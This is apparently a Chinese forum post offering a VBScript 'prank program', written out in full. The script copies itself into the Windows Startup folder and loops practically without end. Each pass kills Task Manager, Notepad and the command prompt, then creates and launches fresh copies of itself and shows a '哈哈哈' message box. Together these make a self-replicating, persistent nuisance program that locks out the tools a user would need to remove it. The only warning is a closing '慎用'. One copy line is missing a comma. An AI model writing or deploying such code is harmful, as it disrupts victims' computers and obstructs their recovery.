看到挺多人用vbs写恶搞程序的,我也写一个吧。
' dim ws, fso
set ws = createobject("wscript.shell")
set fso = createobject("scripting.fileSystemObject")
fso.copyFile wscript.scriptFullName "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\" '开机自启
for i = 0 to 100000000000 step 1 ' 无限循环
ws.run("TASKKILL /IM taskmgr.exe"),0 ' 禁止打开任务管理器
ws.run("TASKKILL /IM notepad.exe"),0 ' 禁止打开记事本
ws.run("TASKKILL /IM cmd.exe"),0 ' 禁止打开命令提示符
set another = fso.createTextFile("another" + cstr(i) + ".vbs") ' 新建副本
fso.copyFile wscript.scriptFullName,"another" + cstr(i) + ".vbs" ' 复制到副本
wscript.sleep(800) ' 暂停800毫秒
ws.run("another" + cstr(i) + ".vbs") ' 运行副本
msgbox "哈哈哈"
next
这个一般人弄不好的,慎用!